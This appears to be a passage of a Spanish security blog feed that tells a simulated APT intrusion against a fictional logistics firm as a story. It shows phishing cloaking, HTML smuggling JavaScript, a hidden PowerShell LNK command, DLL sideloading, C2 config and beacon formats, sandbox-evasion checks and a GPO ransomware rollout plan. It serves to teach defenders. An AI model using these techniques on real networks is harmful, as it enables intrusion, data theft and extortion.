&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Compromised admin session
  -&amp;gt; modify GPO startup script
  -&amp;gt; deploy staged payload to selected OUs
  -&amp;gt; force update over natural cycle
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

No ejecutaron `gpupdate /force` global. Esperaron. La paciencia volvió a pagar.

El despliegue final se planificó por lotes:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Batch 1: finance file servers
Batch 2: regional shares
Batch 3: workstations finance/legal
Batch 4: selected application servers
Batch 5: broad workstation encryption if needed
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El objetivo no era cifrar absolutamente cada dispositivo. Era crear la sensación correcta de colapso.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Las alarmas que casi funcionaron&lt;/h4&gt;&lt;div&gt;IberLogix no estaba ciega. Su SIEM registro eventos raros:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Unusual OAuth flow for marta.solis
Rare domain beneficios-iberlogix[.]com
Scheduled task AdobeUpdateSync
LDAP query spike from ES-MAD-FIN-0472
Large outbound transfer from FS-MAD-04
New access pattern for j.ruiz
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Pero cada alerta parecía una excepción manejable. El equipo de seguridad estaba atendiendo un despliegue de EDR en la filial. El falso portal de beneficios coincidía con una migración real. Javier Ruiz tenia permisos por integración. Los backups movían datos de noche. Las alertas no formaron historia hasta que fue tarde.

Esa es la lección mas incomoda: muchas intrusiones no fallan por falta de logs, sino por falta de narrativa defensiva.

Nebula Jackal ya tenia:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;endpoint foothold: yes
M365 access: partial
finance data: yes
legal data: yes
backup knowledge: yes
GPO deployment route: yes
selected server access: yes
payment pressure: high
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;The Curator autorizó la ultima fase.

Mensaje interno:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3RfaA6ZZZy5EcOX3unomzW3rn_wu3t5jvalBsJxEDY6n9FW0A2em6pJIWA-jFNeTYGpvcDZgvoIcQQbWIscCAxCperHbBvjaKJMoRD8k-BkugzDa23a1Ix1aNjfxdj8g1JV2iHjso05FzaudAhY2G9JnWribfuYOGNa4jx8xMBgsOlil-LSscCf1DLLDb/s1024/transiber_ransomware_message.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;559&quot; data-original-width=&quot;1024&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3RfaA6ZZZy5EcOX3unomzW3rn_wu3t5jvalBsJxEDY6n9FW0A2em6pJIWA-jFNeTYGpvcDZgvoIcQQbWIscCAxCperHbBvjaKJMoRD8k-BkugzDa23a1Ix1aNjfxdj8g1JV2iHjso05FzaudAhY2G9JnWribfuYOGNa4jx8xMBgsOlil-LSscCf1DLLDb/w640-h350/transiber_ransomware_message.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;El bosque estaba seco. Solo faltaba encender la cerilla.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj-QbdiBKGFrHcZzlQFF_km1UEggMteTU8h6lj66M1HUJ7bNYP7sVLcnPLCMI-7ow_QHzfw3qCqInk3HyZqiGas2b9lFS2rWqTx-W8esItbGh29RcajeLS469miAU_E7CVTePtAXcjXYlapVGRykX-u-Ixc_J5m223CwyzfCOV6IVpxuZ-T84q3Jr5YLFH/s1168/MartaSolis2.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1168&quot; data-original-width=&quot;784&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj-QbdiBKGFrHcZzlQFF_km1UEggMteTU8h6lj66M1HUJ7bNYP7sVLcnPLCMI-7ow_QHzfw3qCqInk3HyZqiGas2b9lFS2rWqTx-W8esItbGh29RcajeLS469miAU_E7CVTePtAXcjXYlapVGRykX-u-Ixc_J5m223CwyzfCOV6IVpxuZ-T84q3Jr5YLFH/s320/MartaSolis2.jpg&quot; width=&quot;215&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;div class=&quot;post-body entry-content float-container&quot; id=&quot;post-body-3503573753592118901&quot; style=&quot;background-color: white; font-feature-settings: normal; font-kerning: auto; font-language-override: normal; font-optical-sizing: auto; font-size-adjust: none; font-stretch: normal; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-emoji: normal; font-variant-numeric: normal; font-variant-position: normal; font-variation-settings: normal; line-height: 32px; margin: 0px;&quot;&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Merriweather, Georgia, serif;&quot;&gt;Continúa en la parte 4: &lt;a href=&quot;https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-4.html&quot;&gt;La noche del cifrado, la negociación y el reparto&lt;/a&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/5570684110474106626/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5570684110474106626'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5570684110474106626'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-3.html' title='Anatomía de una APT simulada. Parte 3 - Dentro del bosque de Active Directory'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk5mtQ6zOt-oYHY2ySsrMGtAvp-5PGBIbYLs8XXWCnREhjGNqsykg6mXeu-zJEKpRGgVjnAs9Cfg3VZyJPz3NJ_mISsEylUNV6cgigjaM22W9anaHZUvSuzFKf71ArbgTZXvb-1_0FmSk13p1if3T7aFcKmGShXWuYhmeacwA-dGu23BOcX6deSHWpXOVW/s72-w640-h350-c/transiber_javier_oficina.jpeg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-8590199744658080650</id><published>2026-06-02T00:21:42.261+02:00</published><updated>2026-06-02T23:48:54.314+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="APT"/><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="phishing"/><title type='text'>Anatomía de una APT simulada. Parte 2 - La semilla, el anzuelo y el primer latido</title><content type='html'>El primer correo llego un martes a las 08:42. No parecía peligroso. Ese fue su logro.

No prometía bonos. No amenazaba con cerrar cuentas. No decía &quot;URGENTE&quot; en mayúsculas. El asunto era seco, administrativo, casi invisible: &quot;Actualización requerida: Portal de beneficios 2026&quot;&lt;div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYsfBrhuk7Adr9DGYORtZzsKOrIBho0HuPmXVAfDZcFY778LNQTccYspS3kkiaQ64h9LlT9TsNzZADkVtBOdFD9dS173iDCOS79LTWxwhIYWERTsosmscrnP8cjPLBMLoQz_UqGS53Gf-855lVWsu7tY1UZXzGlytq4JCF-BORiGa5AQbyVK12ZpvUIQWb/s1536/phishing%20Iberlogix.png&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYsfBrhuk7Adr9DGYORtZzsKOrIBho0HuPmXVAfDZcFY778LNQTccYspS3kkiaQ64h9LlT9TsNzZADkVtBOdFD9dS173iDCOS79LTWxwhIYWERTsosmscrnP8cjPLBMLoQz_UqGS53Gf-855lVWsu7tY1UZXzGlytq4JCF-BORiGa5AQbyVK12ZpvUIQWb/w640-h426/phishing%20Iberlogix.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

En IberLogix, nadie quería leer otro correo de RRHH. Precisamente por eso funcionó.

El mensaje decía que, tras la integración de TransIber Norte, todos los empleados debían revisar sus beneficios antes del cierre mensual. El enlace apuntaba a:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;https://beneficios-iberlogix[.]com/portal/revision
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El dominio era falso. El certificado TLS era válido. El diseño copiaba el portal interno con suficiente fidelidad como para no activar la intuición de un empleado cansado. La landing no descargaba malware de inmediato. Primero clasificaba.&amp;nbsp;&lt;h4 style=&quot;text-align: left;&quot;&gt;El phishing como embudo técnico&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Saltline había construido el phishing como un producto con fases:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Email delivery
  -&amp;gt; link click
    -&amp;gt; browser fingerprint
      -&amp;gt; tenant/user validation
        -&amp;gt; credential prompt or payload path
          -&amp;gt; execution
            -&amp;gt; loader validation
              -&amp;gt; C2 enrollment
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

El servidor de phishing no entregaba lo mismo a todos. Revisaba:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;IP ASN
GeoIP aproximado
User-Agent
Accept-Language
Timezone via JavaScript
Screen size
Referrer
Known corporate CIDR
Email token in URL
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Si el visitante parecía una sandbox, investigador o servicio de análisis, veía una pagina de mantenimiento:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixy1pL3w0MZUGKNVSkieHshT0Rc1fv1CoEMcEgYODmHQWQNklqpWmNAPerxZOvIRz5lyXKRbW_Xb3MYfQ08M9XkC-FN7ZMhrqFzKlNRIGH2j6vStXGdKJjb2ZWL0yfe_1iFa2DaK7z6PWKpc7e2NLijZnRpiqfmr0h-7nNPpQVvn3k5fW6ii6ofblTqXyH/s1536/portal%20Iberlogix.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixy1pL3w0MZUGKNVSkieHshT0Rc1fv1CoEMcEgYODmHQWQNklqpWmNAPerxZOvIRz5lyXKRbW_Xb3MYfQ08M9XkC-FN7ZMhrqFzKlNRIGH2j6vStXGdKJjb2ZWL0yfe_1iFa2DaK7z6PWKpc7e2NLijZnRpiqfmr0h-7nNPpQVvn3k5fW6ii6ofblTqXyH/w640-h426/portal%20Iberlogix.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Si el visitante parecía empleado real desde una red o VPN plausible, se mostraba el portal. La URL llevaba un token:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;/portal/revision?id=8f4a2c9b-emp-3941
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Ese token no era solo tracking. Estaba asociado a un registro:
  
&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;campaign&quot;: &quot;black_orchard&quot;,
  &quot;recipient&quot;: &quot;marta.solis@iberlogix.example&quot;,
  &quot;department&quot;: &quot;finance&quot;,
  &quot;seniority&quot;: &quot;manager&quot;,
  &quot;language&quot;: &quot;es-ES&quot;,
  &quot;payload_path&quot;: &quot;html_smuggling&quot;,
  &quot;priority&quot;: 8
}
&lt;/code&gt;&lt;/pre&gt;


La campaña tenía tres rutas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Ruta A: Captura de credenciales M365
Ruta B: Consent phishing para app maliciosa
Ruta C: Descarga de paquete local con loader
&lt;/code&gt;&lt;/pre&gt;

La ruta A capturaba credenciales y MFA tokens si el flujo lo permitía.&amp;nbsp;&lt;/div&gt;&lt;div&gt;La ruta B intentaba que el usuario autorizase una aplicación OAuth con permisos de correo básicos.&amp;nbsp;&lt;/div&gt;&lt;div&gt;La ruta C entregaba el loader.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nebula Jackal prefería conseguir dos cosas: sesión cloud y endpoint.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Un token sin máquina era útil. Una máquina sin correo era útil. Las dos juntas eran oro.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;HTML smuggling: el archivo nace dentro del navegador&amp;nbsp;&lt;/h4&gt;&lt;div&gt;El payload no se descargaba como `exe`. La landing generaba localmente un ZIP usando JavaScript. La idea era simple: el contenido malicioso viajaba como datos codificados dentro de la página, y el navegador reconstruía el archivo en memoria.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Fragmento conceptual:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&lt;scr1pt&gt;&amp;lt;script&amp;gt;
const b64 = &quot;UEsDBBQAAAAI...&quot;; // ZIP cifrado y troceado
const bytes = Uint8Array.from(atob(b64), c =&amp;gt; c.charCodeAt(0));
const blob = new Blob([bytes], {type: &quot;application/zip&quot;});
const a = document.createElement(&quot;a&quot;);
a.href = URL.createObjectURL(blob);
a.download = &quot;Beneficios_IberLogix_2026.zip&quot;;
a.click();
&lt;/scr1pt&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;


El ZIP estaba protegido con una contraseña escrita en la pagina:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Clave del documento: IberLogix2026!
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La contraseña no protegía la información. Protegía el payload de algunos motores automáticos que no desempaquetaban archivos cifrados en profundidad. Dentro había:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3qLHCXl-auzNAeefVYmypn7niXrtR52aTy704gwnWz6bhu4NOWaGJUlHgpnSM0UdsNEzjJo_HB-GMwZh9qRiHesKaCK-aKTg_CthoPZ1BmeWGn83DvyNiiMkZH3rKV6igtJbKsp-oF_PfAfrTdGpEVvTRDgcOn33OOe1ZsYiPPNZSBjiDe8YHTLR7srz/s1168/zip_smuggling2.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;784&quot; data-original-width=&quot;1168&quot; height=&quot;215&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3qLHCXl-auzNAeefVYmypn7niXrtR52aTy704gwnWz6bhu4NOWaGJUlHgpnSM0UdsNEzjJo_HB-GMwZh9qRiHesKaCK-aKTg_CthoPZ1BmeWGn83DvyNiiMkZH3rKV6igtJbKsp-oF_PfAfrTdGpEVvTRDgcOn33OOe1ZsYiPPNZSBjiDe8YHTLR7srz/s320/zip_smuggling2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;

El PDF era real: un documento de beneficios copiado de materiales públicos y modificado. El `.lnk` era el ejecutable social. El usuario veía un icono de PDF, doble clickaba y el LNK lanzaba una cadena controlada.&amp;nbsp;&lt;/div&gt;&lt;div&gt;El comando del LNK, simplificado, era:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;powershell
powershell.exe -NoP -W Hidden -ExecutionPolicy Bypass -Command &quot;
  $p=$env:TEMP+&#39;\IberBenefits&#39;;
  New-Item -ItemType Directory -Force $p | Out-Null;
  Copy-Item &#39;.\IberLogixBenefits.exe&#39; $p;
  Copy-Item &#39;.\version.dll&#39; $p;
  Start-Process ($p+&#39;\IberLogixBenefits.exe&#39;);
  Start-Process &#39;.\Beneficios_IberLogix_2026.pdf&#39;
&quot;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El truco era el &lt;b&gt;DLL sideloading&lt;/b&gt;. `IberLogixBenefits.exe` era una aplicación legítima vulnerable a carga lateral de DLL (sideloading). Al ejecutarse, buscaba `version.dll` en su directorio. Windows resolvía primero la DLL local. Esa DLL era SeedCrate.

El usuario veía abrirse el PDF. El loader respiraba por primera vez.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;SeedCrate: hacer poco, sobrevivir mucho&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Sable había diseñado SeedCrate con una filosofía estricta: el loader no era una navaja suiza. Era una semilla.

Sus responsabilidades:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Comprobar entorno
2. Desempaquetar configuración
3. Establecer canal inicial
4. Enviar telemetría mínima
5. Descargar modulo de segunda fase si procede
6. Instalar persistencia ligera solo con aprobación C2
&lt;/code&gt;&lt;/pre&gt;

No volcaba credenciales. No escaneaba red. No inyectaba en procesos sensibles al inicio. No intentaba privilegios. No tocaba LSASS. El primer objetivo era sobrevivir las primeras horas.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La configuración iba cifrada dentro de la DLL:&amp;nbsp;&lt;/div&gt;&lt;div&gt;

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;struct seed_config {
    uint32_t magic;
    uint16_t version;
    uint16_t flags;
    uint8_t campaign_id[16];
    uint8_t config_nonce[12];
    uint8_t encrypted_blob[];
};
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El blob descifrado contenía:
&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;campaign&quot;: &quot;black_orchard&quot;,
  &quot;profile&quot;: &quot;iberlogix_hr&quot;,
  &quot;domains&quot;: [
    &quot;cdn-beneficios[.]com&quot;,
    &quot;static-hrsync[.]net&quot;,
    &quot;assets-portal[.]cloud&quot;
  ],
  &quot;uri&quot;: [&quot;/api/v1/sync&quot;, &quot;/content/check&quot;, &quot;/cdn/pixel&quot;],
  &quot;jitter_min&quot;: 1200,
  &quot;jitter_max&quot;: 2700,
  &quot;kill_after&quot;: &quot;2026-04-30T00:00:00Z&quot;,
  &quot;public_key&quot;: &quot;base64-curve25519-key&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;  
  
  
El primer beacon era deliberadamente aburrido:&amp;nbsp;&lt;/div&gt;

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;POST /api/v1/sync HTTP/1.1
Host: cdn-beneficios[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Accept: */*
Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;


El cuerpo no era JSON. Era un paquete binario:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;magic          4 bytes
version        2 bytes
campaign_id   16 bytes
host_id        16 bytes
nonce          12 bytes
ciphertext     n bytes
tag            16 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La telemetría inicial incluía:&amp;nbsp;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;hostname&quot;: &quot;ES-MAD-FIN-0472&quot;,
  &quot;domain&quot;: &quot;IBERLOGIX&quot;,
  &quot;username&quot;: &quot;msolis&quot;,
  &quot;integrity&quot;: &quot;medium&quot;,
  &quot;os&quot;: &quot;Windows 10 22H2&quot;,
  &quot;lang&quot;: &quot;es-ES&quot;,
  &quot;tz&quot;: &quot;Romance Standard Time&quot;,
  &quot;processes&quot;: [&quot;MsMpEng.exe&quot;, &quot;SenseIR.exe&quot;, &quot;Teams.exe&quot;, &quot;OneDrive.exe&quot;],
  &quot;ip_local&quot;: &quot;10.44.18.91&quot;,
  &quot;is_laptop&quot;: true,
  &quot;joined_domain&quot;: true
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El C2 respondía con una decisión:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;action&quot;: &quot;sleep&quot;,
  &quot;next&quot;: 1840,
  &quot;profile&quot;: &quot;low_noise&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;


No siempre había segunda fase. Muchos hosts se descartaban. Un portátil de becario podía no valer el riesgo. Un servidor con EDR agresivo podía esperar. Una máquina de finanzas con VPN y OneDrive sincronizado subía de prioridad.

La máquina de Marta Solis, manager de finanzas regional, subió a prioridad 9.&amp;nbsp;&lt;h4 style=&quot;text-align: left;&quot;&gt;Antianálisis sin teatro&amp;nbsp;&lt;/h4&gt;&lt;div&gt;SeedCrate no llenaba el código de trucos espectaculares. Sable odiaba las evasiones vistosas porque se convertían en firmas. Prefería checks combinados y decisiones lentas.

Ejemplos:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;RAM &amp;lt; 4 GB                                  -&amp;gt; sospecha +2
CPU cores &amp;lt; 2                               -&amp;gt; sospecha +1
Uptime &amp;lt; 10 min                             -&amp;gt; sospecha +1
No domain join                              -&amp;gt; sospecha +2
Username matches analyst/sandbox/test       -&amp;gt; sospecha +2
Processes: procmon, x64dbg, wireshark       -&amp;gt; sospecha +3
Recent mouse/keyboard inactivity            -&amp;gt; sospecha +1
No corporate DNS suffix                     -&amp;gt; sospecha +2
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

